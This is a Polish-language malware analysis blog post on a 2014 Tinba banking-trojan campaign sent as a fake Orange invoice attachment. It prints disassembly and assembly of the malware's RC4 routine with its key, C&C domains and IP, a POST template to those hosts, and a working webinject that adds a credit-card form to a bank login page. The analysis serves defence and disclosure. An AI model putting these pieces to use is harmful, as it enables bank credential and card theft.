W dniu 11 lipca 2014 zarejestrowaliśmy
kolejną kampanię polegającą na rozsyłaniu złośliwego oprogramowania
nakierowanego na bankowość internetową. Tym raz atak skierowany jest na
polskich użytkowników. Jak można zauważyć poniżej, treść wiadomości jest w
języku polskim i dotyczy faktury z Telekomunikacji Polskiej za czerwiec 2014.
Były też rozsyłane wiadomości o
innej treści oraz zawierające nieznacznie zmodyfikowaną wersję złośliwego
oprogramowania.
Łatwo zauważyć (dla osób które co
miesiąc otrzymują faktury z firmy Orange), że nie jest to typowa wiadomość z
fakturą. Dla bardziej spostrzegawczych: Firma Orange do grudnia 2013
wykorzystywała adres e-faktura.TP@orange.com
ale od stycznia 2014 już e-fakturaF@orange.com.
Niemniej złośliwe oprogramowanie
dołączone jest do wiadomości. Treść wiadomości i nazwa załącznika sugerują, że
jest to dokument w formacie PDF. W rzeczywistości jest to plik wykonywalny o
rozszerzeniu pif.
File:
DKT_Faktura_indywidualna_2014_07_11_R.pdf.pif
Size:
102400
MD5: DA9330AA6D275BA28954B88ECF27DEDB
Plik wykonywalny jest dodatkowo zabezpieczony, przez co ujawniana jest
niewielka ilość ciągów znaków prawdziwego pliku wykonywalnego.
Po uruchomieniu kod programu „pakującego” sprawdza, czy przypadkiem
nie jest uruchamiany pod systemem operacyjnym kontrolowanym przez oprogramowanie
VMWare lub VBOX oraz czy nie jest analizowany przez inny system typu sandbox
bazujący na bibliotece SBIEDLL.DLL (np. Sandboxie).
Poniżej fragment pamięci malware. Złośliwe oprogramowanie za pomocą
API CreateToolhelp32Snapshot, Process32First oraz Process32Next identyfikuje
„podejrzane” procesy i malware kończy działanie.
Zauważyliśmy ponadto, że złośliwe
oprogramowanie nie działa prawidło na systemach operacyjnych Windows XP z SP1
oraz SP3 (nie wywołuje prawidłowo funkcji API RegOpenKey).
Gdy wirtualne środowisko nie
zostanie wykryte, malware tworzy nowy proces, kopiuje do przestrzeni adresowej
„odpakowany” kod i wykonuje właściwy kod odpowiedzialny za infekcję stacji
roboczej. Sekwencja wywołań API jest następująca (typowa dla złośliwego
oprogramowania):
- GetModuleFileNameW, 0x1, hProcess:0x774
- CreateProcessW, 0x1, lpApplicationName:
- ReadProcessMemory, 0x1, hProcess:0x774
- WriteProcessMemory, 0x1, hProcess:0x774
- GetThreadContext, 0x1
- SetThreadContext, 0x1, lpContext->Eip:0x40487c
- ResumeThread, 0x1, hThread:0x770
Stary proces kończy działanie a
nowy zaczyna od wywołania funkcji Sleep. Następnie pobierana jest zmienna
%APPDATA% i w katalogu domowym użytkownika tworzony jest katalog AdobeChk a w
nim plik chk.exe. Jest to kopia pliku pif.
.text:00401EE1
call dword ptr [ebx+401560h] ;
funkcja CreateDirectory -> AdobeChk
.text:00401EE7
push 1
.text:00401EE9
lea eax, [ebp-20Ch]
.text:00401EEF
push eax ; chk.exe
.text:00401EF0
lea eax, dword_4012B4[ebx]
.text:00401EF6 push
eax ;
DKT_Faktura_indywidualna_2014_07_11_R.pdf.pif
.text:00401EF7
call dword ptr [ebx+401580h] ;
funkcja MoveFileExA
Następnie tworzony jest klucz
rejestru o nazwie AdobeChk. To zapewnia, że malware będzie uruchamiany przy
ponownym logowaniu użytkownika.
Złośliwe oprogramowanie ma zaimplementowany algorytm RC4 (szyfr
strumieniowy), który używany jest do szyfrowania/odszyfrowywania fragmentów
konfiguracji oraz komunikacji z serwerem C&C.
Poniżej fragment kodu odpowiedzialnego za szyfrowanie danych:
.text:00401BF2 call eax ; funkcja RC4SetKey
.text:00401BF4
mov esi, [ebp+8]
.text:00401BF7 lodsd
.text:00401BF8 push
eax ; długość danych do zaszyfrowania
.text:00401BF9 push
esi ;
dane do zaszyfrowania
.text:00401BFA
lea eax, [ebp-100h]
.text:00401C00 push
eax ; zainicjalizowany klucz
.text:00401C01
lea eax, dword_401C64[ebx]
.text:00401C07
call eax ;
funkcja RC4Crypt
RC4 generuje strumień szyfrujący/odszyfrowujący za pomocą funkcji
RC4SetKey. Jako parametr wejściowy podawany jest tajny klucz, który w przypadku
analizowanego malware to: wer8c7ygbw485ghw.
Cała zawartość funkcji RC4SetKey (Crypt\rc4.inc):
RC4SetKey proc
lpKeyTable, lpPass, nPass : dword
pushad
mov
edi, lpKeyTable
xor
ecx, ecx
@@: mov
[edi + ecx], cl ;utworzenie
tablicy liczb
inc
ecx
cmp
ecx, 256 ;do
256 elementów
jne
@B
mov
esi, lpPass ;klucz
tajny przeniesiony do ESI
xor
ebx, ebx
xor
ecx, ecx
xor edx, edx
@@: mov
al, [edi + ecx]
add
bl, [esi + edx]
add
bl, al
mov
ah, [edi + ebx]
mov
[edi + ecx], ah
mov
[edi + ebx], al
inc
ecx
cmp ecx, 256
je
@F
inc
edx
cmp edx, nPass
jl
@B
xor
edx, edx
jmp
@B
@@: popad
ret
RC4SetKey endp
Następnie
wywoływana jest funkcja RC4Crypt. W celu zaszyfrowania wykonywana jest operacja
XOR na tekście oryginalnym i strumieniu szyfrującym. Dla przykładu
inicjalizująca wiadomość EHLO przesyłana przez malware do serwera po
zaszyfrowany będzie miała postać:
.text:00401C64
push ebp
.text:00401C65
mov ebp, esp
.text:00401C67 pusha
.text:00401C68
mov edi, [ebp+8]
.text:00401C6B
mov esi, [ebp+0Ch]
.text:00401C6E
xor eax, eax
.text:00401C70
xor ebx, ebx
.text:00401C72
xor ecx, ecx
.text:00401C74
xor edx, edx
.text:00401C76
loc_401C76: ;
CODE XREF: .text:00401C91j
.text:00401C76
inc bl
.text:00401C78
mov dl, [edi+ebx]
.text:00401C7B
add al, dl
.text:00401C7D mov cl, [edi+eax]
.text:00401C80
mov [edi+ebx], cl
.text:00401C83
mov [edi+eax], dl
.text:00401C86
add cl, dl
.text:00401C88
mov cl, [edi+ecx]
.text:00401C8B xor
[esi], cl ; Operacja XOR na tekście i strumieniu
szyfrującym
.text:00401C8D
inc esi
.text:00401C8E
dec dword ptr [ebp+10h]
.text:00401C91
jnz short loc_401C76
.text:00401C93 popa
.text:00401C94 leave
.text:00401C95 retn
0Ch
Za pomocą samej instrukcji XOR zakodowane są również nazwy domenowe
serwerów C&C. Malware próbuje łączyć się na hosty o nazwach:
·
framesoutchk.ru
– IP: 91.237.198.54
·
plsecdirect.ru
– IP: 91.237.198.54
Poniżej fragment kodu odkodowującego nazwy domenowe:
W chwili wykonywania analizy strona z którą złośliwe oprogramowanie
komunikuje się nie była aktywna. Poniżej zawartość „szablonu” wiadomości POST:
POST /re/
HTTP/1.1
Accept:
text/html, application/xhtml+xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows
NT 6.1; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Host: framesoutchk.ru
lub plsecdirect.ru
Content-Length:
Connection: Close
Cache-Control:
no-cache
Wysyłanie komunikatu EHLO zwracało błąd 403. Niemniej na podstawie
analizy można stwierdzić, że malware, który był rozsyłany nosi nazwę Tiny Banker
(nazywany również Tinba). Jest to złośliwe oprogramowanie, które używane jest
do wyłudzania numerów kart kredytowych czy danych do logowania w aplikacjach
www jak bankowość internetowa.
Na początku lipca 2014 kod źródłowy wersji 1.0 wyciekł do sieci
Internet. Poniżej zawartość katalogu z
kodem źródłowym:
Jest to wersja z 2012 roku ale część kodu nie została zmieniona. Na
podstawie analizowanej wersji pliku
DKT_Faktura_indywidualna_2014_07_11_R.pdf.pif można stwierdzić, że malware
infekuje 4 przeglądarki internetowe:
- iexplore.exe
- firefox.exe
- maxthon.exe
- chrome.exe
Przechwytywane są funkcje (metodą inline hooking) dwóch bibliotek:
wininet oraz nspr4. Są to następujące funkcje:
- HttpQueryInfoA
- InternetCloseHandle
- HttpSendRequestA
- HttpSendRequestW
- InternetQueryDataAvailable
- InternetReadFile
- InternetReadFileExA
- HttpSendRequestExW
- InternetWriteFile
- HttpEndRequest
- PR_Write
- PR_Read
- PR_Close
Tinba pobiera konfigurację z serwera i zapisuje ją w zaszyfrowanych
RC4 plikach dat. Poniżej lista wszystkich plików, które może utworzyć malware
korzystając ze zmiennej %APPDATA%: bck.dat, ret.exe, cot.dat, cof.dat.
Zawartość pliku konfiguracyjnego przypomina budową konfigurację
złośliwego oprogramowania ZEUS/ZBOT. Intruz może manipulować zawartością
wyświetlanej użytkownikowi strony. Poniżej działający przykład, który
wstrzykuje odpowiednio przygotowany kod.
set_url
http://prevenitybank.edu/login* GP
data_before
<input
type="submit" value="Submit">
data_end
data_inject
<script
type="text/javascript">alert("Uwaga prosimy o podanie numeru
karty kredytowej");</script>
<form
name="myForm">
Numer karty
kredytowej:<input type="text" name="ccnumber">
</form>
data_end
data_after
data_end
Źródła:
[2] TrendMicro Dokument: W32.Tinba
(Tinybanker) The Turkish Incident.